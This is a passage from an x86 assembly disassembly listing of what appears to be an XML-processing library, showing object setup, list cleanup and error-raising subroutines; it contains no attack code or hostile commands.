lea eax, [esi+18h]
push eax
call sub_69B17320
and dword ptr [esi+20h], 0
loc_69B5BB77: ; CODE XREF: sub_69B5BB57+7j
pop esi
retn
sub_69B5BB57 endp
; =============== S U B R O U T I N E =======================================
sub_69B5BB79 proc near ; CODE XREF: sub_69B5C19B+Bp
arg_0 = dword ptr 4
push 14h
call sub_69B1D897
test eax, eax
jz short loc_69B5BB89
and dword ptr [eax], 0
jmp short loc_69B5BB8B
; ---------------------------------------------------------------------------
loc_69B5BB89: ; CODE XREF: sub_69B5BB79+9j
xor eax, eax
loc_69B5BB8B: ; CODE XREF: sub_69B5BB79+Ej
mov ecx, [esp+arg_0]
mov edx, [ecx+4]
mov [eax+4], edx
mov edx, [ecx+8]
mov [eax+8], edx
mov ecx, [ecx+10h]
mov [eax+10h], ecx
retn 4
sub_69B5BB79 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B5C1D0
loc_69B5BBA4: ; CODE XREF: sub_69B5C1D0+Dj
xor eax, eax
push esi
mov esi, ecx
mov [esi], eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
mov [esi+20h], eax
call sub_69B5BB0D
mov eax, esi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_69B5C1D0
; =============== S U B R O U T I N E =======================================
sub_69B5BBC0 proc near ; CODE XREF: sub_69B5BEDE+85p
; sub_69B5BEDE+A2p ...
push esi
mov esi, ecx
call sub_69B5BB0D
lea eax, [esi+20h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
lea eax, [esi+4]
push eax
call sub_69B17230
push esi
call sub_69B17230
pop esi
retn
sub_69B5BBC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5BBF4 proc near ; CODE XREF: sub_69B5CB6E+69p
; sub_69B5CDA6+83p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = byte ptr 20h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
push 0Ah
push 4
lea ecx, [esi+8]
call sub_69B88ED8
push 1
push 4
lea ecx, [esi+1Ch]
call sub_69B88ED8
xor ebx, ebx
mov [esi+30h], ebx
lea ecx, [esi+38h]
mov [ecx], ebx
lea eax, [esi+7Ch]
lea edi, [esi+54h]
mov [edi], ebx
mov [esi+58h], ebx
mov [esi+78h], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+28h], ebx
mov al, [ebp+arg_18]
mov [esi+0ACh], ebx
mov [esi+48h], al
mov eax, [ebp+arg_10]
cmp eax, dword_69B95A18
jnz short loc_69B5BC4E
mov [ebp+arg_10], ebx
loc_69B5BC4E: ; CODE XREF: sub_69B5BBF4+55j
push [ebp+arg_0]
push ecx
call sub_69B17320
cmp [esi+48h], bl
mov eax, [ebp+arg_4]
mov [esi+3Ch], eax
mov eax, [ebp+arg_14]
mov [esi+4Ch], eax
jnz short loc_69B5BC73
cmp [ebp+arg_0], ebx
jz short loc_69B5BC73
mov eax, [eax+0D0h]
loc_69B5BC73: ; CODE XREF: sub_69B5BBF4+72j
; sub_69B5BBF4+77j
push [ebp+arg_10]
mov [esi+50h], eax
mov al, [eax+82h]
mov [esi+36h], al
mov eax, [ebp+arg_8]
mov [esi+40h], eax
mov eax, [ebp+arg_C]
push edi
mov [esi+44h], eax
call sub_69B17320
pop edi
mov [esi+0C4h], ebx
mov [esi+0C0h], ebx
mov eax, esi
pop esi
pop ebx
pop ebp
retn 1Ch
sub_69B5BBF4 endp
; =============== S U B R O U T I N E =======================================
sub_69B5BCA9 proc near ; CODE XREF: sub_69B5CAA5+24p
; sub_69B5CD56+45p
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push esi
xor ebx, ebx
mov esi, ecx
cmp [esi+35h], bl
mov [esp+0Ch+var_4], ebx
jnz loc_69B5BD82
push ebp
push edi
mov edi, [esp+14h+arg_0]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+38h]
mov ebp, eax
mov eax, [ebp+10h]
cmp eax, dword_69B95A34
jnz short loc_69B5BCED
push dword_69B95A3C
mov eax, [ebp+0]
mov ecx, ebp
call dword ptr [eax+2Ch]
push eax
call sub_69B192B7
mov ebp, eax
loc_69B5BCED: ; CODE XREF: sub_69B5BCA9+2Cj
cmp [esi+34h], bl
jz short loc_69B5BD52
push ebp
mov ecx, esi
call sub_69B5B878
test al, al
mov ecx, esi
jz short loc_69B5BD17
call sub_69B5AC74
mov eax, [esi]
cmp [eax+10h], ebx
jz short loc_69B5BD80
mov ecx, [eax+14h]
push edi
add ecx, esi
call dword ptr [eax+10h]
jmp short loc_69B5BD80
; ---------------------------------------------------------------------------
loc_69B5BD17: ; CODE XREF: sub_69B5BCA9+55j
push ebp
call sub_69B5B77F
test al, al
jz short loc_69B5BD31
mov byte ptr [esi+35h], 1
push edi
add esi, 30h
push esi
call sub_69B17320
jmp short loc_69B5BD80
; ---------------------------------------------------------------------------
loc_69B5BD31: ; CODE XREF: sub_69B5BCA9+76j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
mov edx, [eax]
push ebx
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
mov eax, 0C00CE102h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B5BD80
; ---------------------------------------------------------------------------
loc_69B5BD52: ; CODE XREF: sub_69B5BCA9+47j
mov eax, dword_69B95AB8
cmp dword ptr [eax+8], 20h
mov edi, eax
jg short loc_69B5BD64
call sub_69B2E6D8
loc_69B5BD64: ; CODE XREF: sub_69B5BCA9+B4j
cmp [edi+8Ch], ebp
jnz short loc_69B5BD78
mov byte ptr [esi+34h], 1
mov dword ptr [esi], offset dword_69B96138
jmp short loc_69B5BD80
; ---------------------------------------------------------------------------
loc_69B5BD78: ; CODE XREF: sub_69B5BCA9+C1j
mov [esp+14h+var_4], 0C00CE101h
loc_69B5BD80: ; CODE XREF: sub_69B5BCA9+61j
; sub_69B5BCA9+6Cj ...
pop edi
pop ebp
loc_69B5BD82: ; CODE XREF: sub_69B5BCA9+Ej
mov eax, [esp+0Ch+var_4]
pop esi
pop ebx
pop ecx
retn 4
sub_69B5BCA9 endp
; =============== S U B R O U T I N E =======================================
sub_69B5BD8C proc near ; CODE XREF: sub_69B5CAA5+91p
; sub_69B5CCE6+32p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
xor ecx, ecx
cmp [esi+35h], cl
jnz short loc_69B5BDB6
mov eax, [esi]
cmp [eax+30h], ecx
jz short loc_69B5BDAD
push [esp+4+arg_4]
mov ecx, [eax+34h]
push [esp+8+arg_0]
add ecx, esi
call dword ptr [eax+30h]
loc_69B5BDAD: ; CODE XREF: sub_69B5BD8C+Fj
mov ecx, esi
call sub_69B5B01B
jmp short loc_69B5BDC2
; ---------------------------------------------------------------------------
loc_69B5BDB6: ; CODE XREF: sub_69B5BD8C+8j
mov eax, [esp+4+arg_4]
cmp eax, [esi+30h]
jnz short loc_69B5BDC2
mov [esi+35h], cl
loc_69B5BDC2: ; CODE XREF: sub_69B5BD8C+28j
; sub_69B5BD8C+31j
xor eax, eax
pop esi
retn 8
sub_69B5BD8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5BDC8 proc near ; CODE XREF: sub_69B5BEDE+66p
; sub_69B5C2C9+5Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_4]
cmp dword ptr [esi+8], 0
push edi
mov edi, [ebp+arg_8]
mov [ebp+var_4], ecx
jnz short loc_69B5BDE3
cmp dword ptr [edi+2Ch], 0
jz short loc_69B5BE5F
loc_69B5BDE3: ; CODE XREF: sub_69B5BDC8+13j
push ebx
mov ecx, edi
call sub_69B8C6AD
mov [ebp+arg_4], eax
mov eax, [esi+8]
test eax, eax
jz short loc_69B5BE18
push eax
lea eax, [edi+2Ch]
push eax
call sub_69B17320
mov ecx, [esi+8]
mov eax, [ecx]
call dword ptr [eax+2Ch]
push [ebp+arg_4]
mov ecx, [ebp+var_4]
mov ebx, eax
push ebx
push edi
call sub_69B5B8CE
jmp short loc_69B5BE22
; ---------------------------------------------------------------------------
loc_69B5BE18: ; CODE XREF: sub_69B5BDC8+2Bj
mov ecx, [edi+2Ch]
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ebx, eax
loc_69B5BE22: ; CODE XREF: sub_69B5BDC8+4Ej
cmp byte ptr [esi+18h], 0
jz short loc_69B5BE2D
mov eax, [esi+1Ch]
jmp short loc_69B5BE33
; ---------------------------------------------------------------------------
loc_69B5BE2D: ; CODE XREF: sub_69B5BDC8+5Ej
mov eax, [ebp+var_4]
mov eax, [eax+58h]
loc_69B5BE33: ; CODE XREF: sub_69B5BDC8+63j
cmp byte ptr [edi+31h], 0
mov [ebp+arg_4], eax
jnz short loc_69B5BE52
push dword ptr [esi+4]
mov ecx, [ebp+var_4]
push edi
push eax
push dword ptr [ebx+8]
push dword ptr [ebx+0Ch]
push [ebp+arg_0]
call sub_69B5B558
loc_69B5BE52: ; CODE XREF: sub_69B5BDC8+72j
push 1
push [ebp+arg_4]
mov ecx, edi
call sub_69B8CDCB
pop ebx
loc_69B5BE5F: ; CODE XREF: sub_69B5BDC8+19j
cmp dword ptr [esi+14h], 1
mov ecx, [ebp+var_4]
setz al
push eax
push edi
call sub_69B5AE2D
pop edi
pop esi
leave
retn 0Ch
sub_69B5BDC8 endp
; =============== S U B R O U T I N E =======================================
sub_69B5BE76 proc near ; DATA XREF: sub_69B119AE+189o
mov ecx, [ecx+0C4h]
call sub_69B5BB0D
retn 8
sub_69B5BE76 endp
; =============== S U B R O U T I N E =======================================
sub_69B5BE84 proc near ; DATA XREF: sub_69B117C2+26o
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
call sub_69B5B994
test al, al
jz short loc_69B5BEA1
mov eax, [esi+0C4h]
mov dword ptr [eax+14h], 1
loc_69B5BEA1: ; CODE XREF: sub_69B5BE84+Ej
pop esi
retn 8
sub_69B5BE84 endp
; =============== S U B R O U T I N E =======================================
sub_69B5BEA5 proc near ; CODE XREF: sub_69B5C589+D3p
; DATA XREF: sub_69B11555+7Ao
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov eax, [eax+8]
push eax
mov byte ptr [ecx+60h], 1
call sub_69B5B4D2
retn 8
sub_69B5BEA5 endp
; =============== S U B R O U T I N E =======================================
sub_69B5BEB9 proc near ; DATA XREF: sub_69B1165C+5Eo
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
call sub_69B5B994
mov [esi+81h], al
pop esi
retn 8
sub_69B5BEB9 endp
; =============== S U B R O U T I N E =======================================
sub_69B5BECF proc near ; DATA XREF: sub_69B1183D+8o
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push dword ptr [eax+8]
call sub_69B5B4D2
retn 8
sub_69B5BECF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5BEDE proc near ; DATA XREF: sub_69B119AE+91o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
mov edi, [esi+0C0h]
test edi, edi
jz loc_69B5BFAD
cmp dword ptr [esi+78h], 0
jz loc_69B5BFAD
test edi, edi
mov [ebp+var_4], edi
jz loc_69B5BFAD
push ebx
loc_69B5BF0B: ; CODE XREF: sub_69B5BEDE+C8j
mov eax, [edi+1Ch]
cmp eax, [esi+58h]
jnz short loc_69B5BF90
mov eax, [edi+4]
mov ebx, [eax+8]
mov ecx, [esi+78h]
push ebx
call sub_69B1980A
test eax, eax
mov [ebp+var_8], eax
jz short loc_69B5BF90
mov ecx, [edi+20h]
push eax
call sub_69B8CF4E
mov ecx, [edi+20h]
push ebx
call sub_69B5AF7A
push [ebp+var_8]
mov ecx, esi
push edi
push [ebp+arg_0]
call sub_69B5BDC8
cmp edi, [esi+0C0h]
jnz short loc_69B5BF75
cmp [ebp+var_4], 0
mov edi, [edi+24h]
mov [esi+0C0h], edi
jz short loc_69B5BF70
mov ecx, [ebp+var_4]
call sub_69B5BBC0
push [ebp+var_4]
call sub_69B1B2B7
loc_69B5BF70: ; CODE XREF: sub_69B5BEDE+80j
mov [ebp+var_4], edi
jmp short loc_69B5BFA4
; ---------------------------------------------------------------------------
loc_69B5BF75: ; CODE XREF: sub_69B5BEDE+71j
mov eax, [edi+24h]
mov ebx, [ebp+var_4]
mov ecx, edi
mov [ebx+24h], eax
call sub_69B5BBC0
push edi
call sub_69B1B2B7
mov edi, [ebx+24h]
jmp short loc_69B5BFA4
; ---------------------------------------------------------------------------
loc_69B5BF90: ; CODE XREF: sub_69B5BEDE+33j
; sub_69B5BEDE+49j
cmp edi, [esi+0C0h]
jz short loc_69B5BFA1
mov eax, [ebp+var_4]
mov eax, [eax+24h]
mov [ebp+var_4], eax
loc_69B5BFA1: ; CODE XREF: sub_69B5BEDE+B8j
mov edi, [edi+24h]
loc_69B5BFA4: ; CODE XREF: sub_69B5BEDE+95j
; sub_69B5BEDE+B0j
test edi, edi
jnz loc_69B5BF0B
pop ebx
loc_69B5BFAD: ; CODE XREF: sub_69B5BEDE+11j
; sub_69B5BEDE+1Bj ...
cmp byte ptr [esi+62h], 0
jz short loc_69B5C008
cmp byte ptr [esi+63h], 0
jnz short loc_69B5BFE9
mov eax, [esi+58h]
mov eax, [eax+2Ch]
cmp byte ptr [eax+8], 0
jz short loc_69B5C024
mov byte ptr [eax+28h], 4
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1
mov edi, eax
jg short loc_69B5BFDB
call sub_69B2E6D8
loc_69B5BFDB: ; CODE XREF: sub_69B5BEDE+F6j
mov eax, [esi+58h]
push dword ptr [edi+10h]
mov ecx, [eax+2Ch]
call sub_69B8FF0A
loc_69B5BFE9: ; CODE XREF: sub_69B5BEDE+D9j
mov eax, [esi+58h]
mov ecx, [eax+2Ch]
call sub_69B8F5A8
cmp dword ptr [esi+0BCh], 2
jnz short loc_69B5C008
mov eax, [esi+58h]
mov ecx, [eax+2Ch]
call sub_69B8FFB1
loc_69B5C008: ; CODE XREF: sub_69B5BEDE+D3j
; sub_69B5BEDE+11Dj
lea edi, [esi+58h]
mov ecx, [edi]
call sub_69B8C6AD
cmp eax, 0Ah
jnz short loc_69B5C02B
cmp byte ptr [esi+67h], 0
jnz short loc_69B5C044
mov eax, 0C00CE115h
jmp short loc_69B5C036
; ---------------------------------------------------------------------------
loc_69B5C024: ; CODE XREF: sub_69B5BEDE+E5j
mov eax, 0C00CE10Bh
jmp short loc_69B5C036
; ---------------------------------------------------------------------------
loc_69B5C02B: ; CODE XREF: sub_69B5BEDE+137j
cmp byte ptr [esi+67h], 0
jz short loc_69B5C044
mov eax, 0C00CE114h
loc_69B5C036: ; CODE XREF: sub_69B5BEDE+144j
; sub_69B5BEDE+14Bj
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
jmp short loc_69B5C070
; ---------------------------------------------------------------------------
loc_69B5C044: ; CODE XREF: sub_69B5BEDE+13Dj
; sub_69B5BEDE+151j
push dword ptr [esi+70h]
mov ecx, esi
push dword ptr [esi+74h]
push dword ptr [edi]
call sub_69B5AB99
mov eax, [edi]
mov ecx, [eax+2Ch]
call sub_69B8FBCF
push 0
push edi
call sub_69B17320
push 0
add esi, 78h
push esi
call sub_69B17320
loc_69B5C070: ; CODE XREF: sub_69B5BEDE+164j
pop edi
pop esi
leave
retn 8
sub_69B5BEDE endp
; =============== S U B R O U T I N E =======================================
sub_69B5C076 proc near ; CODE XREF: sub_69B5C715+5Bp
; DATA XREF: sub_69B119AE+E5o
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+7Ch]
mov ecx, [edi]
call sub_69B8C6AD
mov ebx, eax
cmp ebx, 0Ah
jnz short loc_69B5C09C
cmp byte ptr [esi+9Ch], 0
jnz short loc_69B5C0AC
mov eax, 0C00CE115h
jmp short loc_69B5C0BF
; ---------------------------------------------------------------------------
loc_69B5C09C: ; CODE XREF: sub_69B5C076+14j
cmp byte ptr [esi+9Ch], 0
jz short loc_69B5C0AC
mov eax, 0C00CE114h
jmp short loc_69B5C0BF
; ---------------------------------------------------------------------------
loc_69B5C0AC: ; CODE XREF: sub_69B5C076+1Dj
; sub_69B5C076+2Dj
cmp byte ptr [esi+82h], 0
jz short loc_69B5C0CD
cmp ebx, 2
jnz short loc_69B5C0CD
mov eax, 0C00CE023h
loc_69B5C0BF: ; CODE XREF: sub_69B5C076+24j
; sub_69B5C076+34j
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
jmp short loc_69B5C128
; ---------------------------------------------------------------------------
loc_69B5C0CD: ; CODE XREF: sub_69B5C076+3Dj
; sub_69B5C076+42j
push dword ptr [esi+94h]
mov ecx, esi
push dword ptr [esi+98h]
push dword ptr [edi]
call sub_69B5AB99
mov eax, [edi]
cmp dword ptr [eax+2Ch], 0
jz short loc_69B5C100
push ebp
mov ebp, eax
mov ecx, [ebp+2Ch]
mov eax, [ecx]
push ebx
call dword ptr [eax+2Ch]
push eax
push ebp
mov ecx, esi
call sub_69B5B8CE
pop ebp
loc_69B5C100: ; CODE XREF: sub_69B5C076+72j
xor eax, eax
mov al, [esi+81h]
mov ecx, esi
push eax
push dword ptr [edi]
call sub_69B5AE2D
push 0
add esi, 84h
push esi
call sub_69B17320
push 0
push edi
call sub_69B17320
loc_69B5C128: ; CODE XREF: sub_69B5C076+55j
pop edi
pop esi
pop ebx
retn 8
sub_69B5C076 endp
; =============== S U B R O U T I N E =======================================
sub_69B5C12E proc near ; DATA XREF: sub_69B119AE+1DDo
push esi
mov esi, ecx
cmp byte ptr [esi+63h], 0
jnz short loc_69B5C13E
mov eax, 0C00CE10Bh
jmp short loc_69B5C169
; ---------------------------------------------------------------------------
loc_69B5C13E: ; CODE XREF: sub_69B5C12E+7j
mov eax, [esi+58h]
mov ecx, [eax+2Ch]
call sub_69B8F5A8
cmp dword ptr [esi+0BCh], 2
jnz short loc_69B5C177
cmp byte ptr [esi+0B8h], 0
jz short loc_69B5C177
cmp dword ptr [esi+0B4h], 0FFFFFFFFh
jz short loc_69B5C177
mov eax, 0C00CE123h
loc_69B5C169: ; CODE XREF: sub_69B5C12E+Ej
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
jmp short loc_69B5C197
; ---------------------------------------------------------------------------
loc_69B5C177: ; CODE XREF: sub_69B5C12E+22j
; sub_69B5C12E+2Bj ...
push dword ptr [esi+0B4h]
mov eax, [esi+58h]
push dword ptr [esi+0B0h]
mov ecx, esi
push dword ptr [eax+2Ch]
call sub_69B5AAE3
mov ecx, esi
call sub_69B5B72B
loc_69B5C197: ; CODE XREF: sub_69B5C12E+47j
pop esi
retn 8
sub_69B5C12E endp
; =============== S U B R O U T I N E =======================================
sub_69B5C19B proc near ; CODE XREF: sub_69B5C3BA+Bp
push esi
mov esi, ecx
push edi
lea eax, [esi+0ACh]
push eax
call sub_69B5BB79
lea ecx, [esi+1Ch]
mov edi, eax
call sub_69B318FB
mov esi, eax
test esi, esi
jnz short loc_69B5C1CB
push eax
mov eax, 8007000Eh
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5C1CB: ; CODE XREF: sub_69B5C19B+1Ej
mov [esi], edi
pop edi
pop esi
retn
sub_69B5C19B endp
; =============== S U B R O U T I N E =======================================
sub_69B5C1D0 proc near ; CODE XREF: sub_69B5C416+Cp
; sub_69B5C433+F6p
; FUNCTION CHUNK AT 69B5BBA4 SIZE 0000001C BYTES
push 28h
call sub_69B1D897
test eax, eax
jz short loc_69B5C1E2
mov ecx, eax
jmp loc_69B5BBA4
; ---------------------------------------------------------------------------
loc_69B5C1E2: ; CODE XREF: sub_69B5C1D0+9j
xor eax, eax
retn
sub_69B5C1D0 endp
; =============== S U B R O U T I N E =======================================
sub_69B5C1E5 proc near ; CODE XREF: sub_69B5C7EA+3p
var_4 = dword ptr -4
push ecx
push ebp
push esi
mov esi, ecx
push edi
lea edi, [esi+1Ch]
mov eax, [edi+8]
xor ebp, ebp
cmp eax, ebp
jnz short loc_69B5C1FB
xor eax, eax
jmp short loc_69B5C202
; ---------------------------------------------------------------------------
loc_69B5C1FB: ; CODE XREF: sub_69B5C1E5+10j
dec eax
imul eax, [edi]
add eax, [edi+4]
loc_69B5C202: ; CODE XREF: sub_69B5C1E5+14j
cmp eax, ebp
push ebx
mov ebx, eax
jz short loc_69B5C231
loc_69B5C209: ; CODE XREF: sub_69B5C1E5+4Aj
mov eax, [ebx]
cmp eax, ebp
mov [esp+14h+var_4], eax
jz short loc_69B5C222
push eax
call sub_69B17230
push [esp+14h+var_4]
call sub_69B1B2B7
loc_69B5C222: ; CODE XREF: sub_69B5C1E5+2Cj
mov ecx, edi
mov [ebx], ebp
call sub_69B31F0D
mov ebx, eax
cmp ebx, ebp
jnz short loc_69B5C209
loc_69B5C231: ; CODE XREF: sub_69B5C1E5+22j
push ebp
lea eax, [esi+58h]
push eax
call sub_69B17320
push ebp
lea eax, [esi+7Ch]
push eax
call sub_69B17320
push ebp
lea eax, [esi+84h]
push eax
call sub_69B17320
push ebp
lea eax, [esi+0A4h]
push eax
call sub_69B17320
push ebp
lea eax, [esi+78h]
push eax
call sub_69B17320
push ebp
lea eax, [esi+38h]
push eax
call sub_69B17320
push ebp
lea eax, [esi+54h]
push eax
mov [esi+3Ch], ebp
mov [esi+44h], ebp
mov [esi+40h], ebp
call sub_69B17320
push ebp
lea eax, [esi+30h]
push eax
mov [esi+4Ch], ebp
call sub_69B17320
mov edi, [esi+0C4h]
cmp edi, ebp
pop ebx
jz short loc_69B5C2BC
jmp short loc_69B5C2AF
; ---------------------------------------------------------------------------
loc_69B5C2A0: ; CODE XREF: sub_69B5C1E5+DDj
mov edi, [esi+0C0h]
mov eax, [edi+24h]
mov [esi+0C0h], eax
loc_69B5C2AF: ; CODE XREF: sub_69B5C1E5+B9j
mov ecx, edi
call sub_69B5BBC0
push edi
call sub_69B1B2B7
loc_69B5C2BC: ; CODE XREF: sub_69B5C1E5+B7j
cmp [esi+0C0h], ebp
jnz short loc_69B5C2A0
pop edi
pop esi
pop ebp
pop ecx
retn
sub_69B5C1E5 endp
; =============== S U B R O U T I N E =======================================
sub_69B5C2C9 proc near ; DATA XREF: sub_69B119AE+3Do
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push edi
mov edi, [esi+0C0h]
test edi, edi
jz loc_69B5C381
push ebx
loc_69B5C2DC: ; CODE XREF: sub_69B5C2C9+B1j
mov eax, [edi+4]
mov ebx, [eax+8]
cmp dword ptr [ebx+10h], 0
mov ecx, ebx
jnz short loc_69B5C2FB
mov ecx, [esi+54h]
push ecx
push ecx
mov ecx, [esi+40h]
push eax
call sub_69B5AEAA
mov ecx, [eax+8]
loc_69B5C2FB: ; CODE XREF: sub_69B5C2C9+1Fj
push ecx
mov ecx, [esi+3Ch]
call sub_69B8B114
test eax, eax
jz short loc_69B5C32B
mov ecx, [edi+20h]
push eax
call sub_69B8CF4E
mov ecx, [edi+20h]
push ebx
call sub_69B5AF7A
push dword ptr [edi+20h]
mov ecx, esi
push edi
push [esp+14h+arg_0]
call sub_69B5BDC8
jmp short loc_69B5C358
; ---------------------------------------------------------------------------
loc_69B5C32B: ; CODE XREF: sub_69B5C2C9+3Dj
mov eax, [ebx+10h]
test eax, eax
jz short loc_69B5C33F
mov ecx, [esi+3Ch]
push eax
call sub_69B5ABF5
test al, al
jz short loc_69B5C358
loc_69B5C33F: ; CODE XREF: sub_69B5C2C9+67j
mov eax, [ebx]
push 0
mov ecx, ebx
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE117h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B5C358: ; CODE XREF: sub_69B5C2C9+60j
; sub_69B5C2C9+74j
mov ebx, [esi+0C0h]
test ebx, ebx
mov edi, [edi+24h]
jz short loc_69B5C372
mov ecx, ebx
call sub_69B5BBC0
push ebx
call sub_69B1B2B7
loc_69B5C372: ; CODE XREF: sub_69B5C2C9+9Aj
test edi, edi
mov [esi+0C0h], edi
jnz loc_69B5C2DC
pop ebx
loc_69B5C381: ; CODE XREF: sub_69B5C2C9+Cj
cmp byte ptr [esi+48h], 0
jz short loc_69B5C39B
push [esp+8+arg_4]
mov ecx, [esi+3Ch]
push dword ptr [esi+54h]
add ecx, 1Ch
call sub_69B5AF27
jmp short loc_69B5C3B5
; ---------------------------------------------------------------------------
loc_69B5C39B: ; CODE XREF: sub_69B5C2C9+BCj
mov eax, [esi+50h]
cmp eax, [esi+4Ch]
jz short loc_69B5C3B5
push [esp+8+arg_4]
mov ecx, [esi+3Ch]
push dword ptr [esi+54h]
add ecx, 0Ch
call sub_69B5AED3
loc_69B5C3B5: ; CODE XREF: sub_69B5C2C9+D0j
; sub_69B5C2C9+D8j
pop edi
pop esi
retn 8
sub_69B5C2C9 endp
; =============== S U B R O U T I N E =======================================
sub_69B5C3BA proc near ; DATA XREF: sub_69B119AE+1A5o
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+5Fh], bl
jnz short loc_69B5C401
call sub_69B5C19B
xor eax, eax
inc eax
cmp [esi+63h], bl
mov [esi+0B0h], eax
mov [esi+0B4h], eax
mov [esi+0B8h], bl
mov [esi+0B9h], bl
jz short loc_69B5C3F1
mov ecx, esi
call sub_69B5AE06
loc_69B5C3F1: ; CODE XREF: sub_69B5C3BA+2Ej
mov eax, [esi+58h]
mov [esi+63h], bl
mov ecx, [eax+2Ch]
call sub_69B8F0F8
jmp short loc_69B5C411
; ---------------------------------------------------------------------------
loc_69B5C401: ; CODE XREF: sub_69B5C3BA+9j
mov eax, 0C00CE118h
push ebx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5C411: ; CODE XREF: sub_69B5C3BA+45j
pop esi
pop ebx
retn 4
sub_69B5C3BA endp
; =============== S U B R O U T I N E =======================================
sub_69B5C416 proc near ; CODE XREF: sub_69B5C715+63p
; DATA XREF: sub_69B119AE+151o
push esi
lea esi, [ecx+0C4h]
cmp dword ptr [esi], 0
jnz short loc_69B5C429
call sub_69B5C1D0
mov [esi], eax
loc_69B5C429: ; CODE XREF: sub_69B5C416+Aj
mov eax, [esi]
and dword ptr [eax+14h], 0
pop esi
retn 4
sub_69B5C416 endp
; =============== S U B R O U T I N E =======================================
sub_69B5C433 proc near ; CODE XREF: sub_69B5C715+97p
; DATA XREF: sub_69B119AE+16Do
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov eax, [edi+0C4h]
mov ebp, [eax+4]
xor eax, eax
test ebp, ebp
jnz short loc_69B5C452
mov esi, 0C00CE116h
jmp loc_69B5C4E0
; ---------------------------------------------------------------------------
loc_69B5C452: ; CODE XREF: sub_69B5C433+13j
mov esi, [ebp+8]
mov ecx, [edi+58h]
push esi
call sub_69B8C678
test eax, eax
jz short loc_69B5C471
mov eax, [ebp+0]
mov ecx, ebp
mov esi, 0C00CE12Bh
call dword ptr [eax+2Ch]
jmp short loc_69B5C4E0
; ---------------------------------------------------------------------------
loc_69B5C471: ; CODE XREF: sub_69B5C433+2Dj
mov ecx, [edi+78h]
test ecx, ecx
jz short loc_69B5C488
push esi
call sub_69B1980A
mov ebx, eax
test ebx, ebx
jnz loc_69B5C50B
loc_69B5C488: ; CODE XREF: sub_69B5C433+43j
cmp dword ptr [esi+10h], 0
mov eax, esi
jnz short loc_69B5C4A1
mov eax, [edi+54h]
mov ecx, [edi+40h]
push eax
push eax
push ebp
call sub_69B5AEAA
mov eax, [eax+8]
loc_69B5C4A1: ; CODE XREF: sub_69B5C433+5Bj
mov ecx, [edi+3Ch]
push eax
call sub_69B8B114
test eax, eax
jz short loc_69B5C4C0
push eax
call sub_69B8D083
mov ebx, eax
push esi
mov ecx, ebx
call sub_69B5AF7A
jmp short loc_69B5C507
; ---------------------------------------------------------------------------
loc_69B5C4C0: ; CODE XREF: sub_69B5C433+79j
mov eax, [esi+10h]
test eax, eax
jz short loc_69B5C4F2
mov ecx, [edi+3Ch]
push eax
call sub_69B5ABF5
test al, al
jz short loc_69B5C4F2
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+2Ch]
mov esi, 0C00CE117h
loc_69B5C4E0: ; CODE XREF: sub_69B5C433+1Aj
; sub_69B5C433+3Cj
push 0
push eax
push esi
push esi
call sub_69B2E9D0
add esp, 10h
jmp loc_69B5C582
; ---------------------------------------------------------------------------
loc_69B5C4F2: ; CODE XREF: sub_69B5C433+92j
; sub_69B5C433+9Fj
mov eax, [esi+10h]
cmp eax, dword_69B95A64
jnz short loc_69B5C51F
push 0
push esi
call sub_69B8CDB7
mov ebx, eax
loc_69B5C507: ; CODE XREF: sub_69B5C433+8Bj
test ebx, ebx
jz short loc_69B5C51F
loc_69B5C50B: ; CODE XREF: sub_69B5C433+4Fj
push ebx
push dword ptr [edi+0C4h]
mov ecx, edi
push [esp+18h+arg_0]
call sub_69B5BDC8
jmp short loc_69B5C579
; ---------------------------------------------------------------------------
loc_69B5C51F: ; CODE XREF: sub_69B5C433+C8j
; sub_69B5C433+D6j
push 0
push esi
call sub_69B8CDB7
mov ebx, eax
call sub_69B5C1D0
mov esi, eax
push ebx
lea eax, [esi+20h]
push eax
mov byte ptr [esi+18h], 1
call sub_69B17320
